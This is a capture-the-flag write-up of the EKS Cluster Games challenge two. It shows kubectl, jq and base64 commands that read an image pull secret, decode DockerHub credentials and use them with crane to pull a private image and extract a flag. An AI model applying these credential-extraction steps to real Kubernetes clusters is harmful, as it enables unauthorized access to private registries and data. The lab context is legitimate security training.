This is a writeup of how I solved part two of the EKS Cluster Games. Huge thanks to Wiz for putting this together.
If you haven’t yet, you should start with challenge one.
Challenge Two
In this challenge, the hint tells us to check the container registries.
We can use our kubectl access to see a pod running and list the image it’s running:
root@wiz-eks-challenge:~# kubectl get pods
NAME READY STATUS RESTARTS AGE
database-pod-2c9b3a4e 1/1 Running 0 26h
root@wiz-eks-challenge:~# kubectl get pod database-pod-2c9b3a4e -o yaml
apiVersion: v1
kind: Pod
metadata:
name: database-pod-2c9b3a4e
namespace: challenge2
[...]
spec:
containers:
- image: eksclustergames/base_ext_image
[...]
[...]
imagePullSecrets:
- name: registry-pull-secrets-780bab1d
[...]
status:
[...]
This time we don’t have permission to list secrets:
root@wiz-eks-challenge:~# kubectl get secrets
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:challenge2:service-account-challenge2" cannot list resource "secrets" in API group "" in the namespace "challenge2"
Pulling the Image
It seems like we should look at the eksclustergames/base_ext_image
image we saw in the pod.
If we try to pull down this image with crane
, we get a permission error:
root@wiz-eks-challenge:~# crane pull eksclustergames/base_ext_image /tmp/image.tar
Error: GET https://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest: UNAUTHORIZED: authentication required; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]
Going back to the pod definition, we can find the name of an image pull secret:
root@wiz-eks-challenge:~# kubectl get pods -o json | jq -r '.items[].spec.imagePullSecrets[].name'
registry-pull-secrets-780bab1d
It turns out that even though we don’t have list
permission on all secrets, we do have access to this particular secret:
root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d
NAME TYPE DATA AGE
registry-pull-secrets-780bab1d kubernetes.io/dockerconfigjson 1 26h
After a little futzing around we can pull out the DockerHub username and password and pass them into crane auth login
:
root@wiz-eks-challenge:~# kubectl get secret registry-pull-secrets-780bab1d -o json | jq -r '.data[".dockerconfigjson"]' | base64 -d | jq -r '.auths["index.docker.io/v1/"].auth' | base64 -d
eksclustergames:dckr_pat_[...]
root@wiz-eks-challenge:~# crane auth login docker.io -u eksclustergames -p dckr_pat_[...]
2023/11/02 16:03:06 logged in via /home/user/.docker/config.json
Now we can pull the image using crane
and start poking around in it:
root@wiz-eks-challenge:~# crane pull eksclustergames/base_ext_image /tmp/image.tar
root@wiz-eks-challenge:~# cd /tmp
root@wiz-eks-challenge:/tmp# tar xvf image.tar
sha256:add093cd268deb7817aee1887b620628211a04e8733d22ab5c910f3b6cc91867
3f4d90098f5b5a6f6a76e9d217da85aa39b2081e30fa1f7d287138d6e7bf0ad7.tar.gz
193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
manifest.json
Finding the Flag
Each of the nested *.tar.gz
files is one of the image layers. One of them is giant and uninteresting, but the other one has a file flag.txt
:
root@wiz-eks-challenge:/tmp# tar tvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
drwxr-xr-x 0/0 0 2023-11-01 13:32 etc/
-rw-r--r-- 0/0 124 2023-11-01 13:32 flag.txt
drwxr-xr-x 0/0 0 2023-11-01 13:32 proc/
-rwxr-xr-x 0/0 0 1970-01-01 00:00 proc/.wh..wh..opq
drwxr-xr-x 0/0 0 2023-11-01 13:32 sys/
-rwxr-xr-x 0/0 0 1970-01-01 00:00 sys/.wh..wh..opq
root@wiz-eks-challenge:/tmp# tar -O flag.txt -xf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
wiz_eks_challenge{🚩🚩🚩🚩🚩🚩🚩}
Next
Notes for challenge three.